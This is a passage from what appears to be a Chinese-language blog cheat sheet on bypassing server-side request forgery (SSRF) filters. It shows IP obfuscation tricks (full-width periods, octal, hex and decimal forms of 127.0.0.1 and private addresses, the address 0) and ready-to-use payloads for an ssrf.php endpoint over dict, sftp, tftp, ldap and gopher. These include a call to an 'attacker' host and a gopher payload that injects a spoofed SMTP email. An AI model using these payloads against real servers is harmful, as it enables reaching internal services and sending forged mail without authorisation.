![4.png](https://gitee.com/taochiyu/blogimage/raw/master/img/20210417153448.png)

### 9、利用句号

127。0。0。1 >>> 127.0.0.1




![5.png](https://gitee.com/taochiyu/blogimage/raw/master/img/20210417153448.png)

### 10、利用进制转换



可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x




![9.png](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/2017/11/94-1024x381.png)

http://127.0.0.1 >>> http://0177.0.0.1/




![6.png](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/2017/11/65.png)

http://127.0.0.1 >>> http://2130706433/




![7.png](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/2017/11/74.png)

http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/




![8.png](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/2017/11/84.png)

### 11、利用特殊地址

http://0/




![10.png](https://secpulseoss.oss-cn-shanghai.aliyuncs.com/wp-content/uploads/2017/11/104.png)

### 12、利用协议

Dict://
dict://@:/d:
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a


### 13、使用组合

各种绕过进行自由组合即可



### 参考链接:

https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF

https://twitter.com/albinowax/status/890725759861403648

http://blog.safebuff.com/2016/07/03/SSRF-Tips/

https://hackerone.com/reports/115748

https://www.dailysecurity.fr/server-side-request-forgery/

https://twitter.com/EdOverflow

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SSRF%20injection

http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf

http://byd.dropsec.xyz/2017/06/04/SSRF%E6%BC%8F%E6%B4%9E%E5%89%96%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/

http://blog.csdn.net/xinianbuxiu/article/details/53560417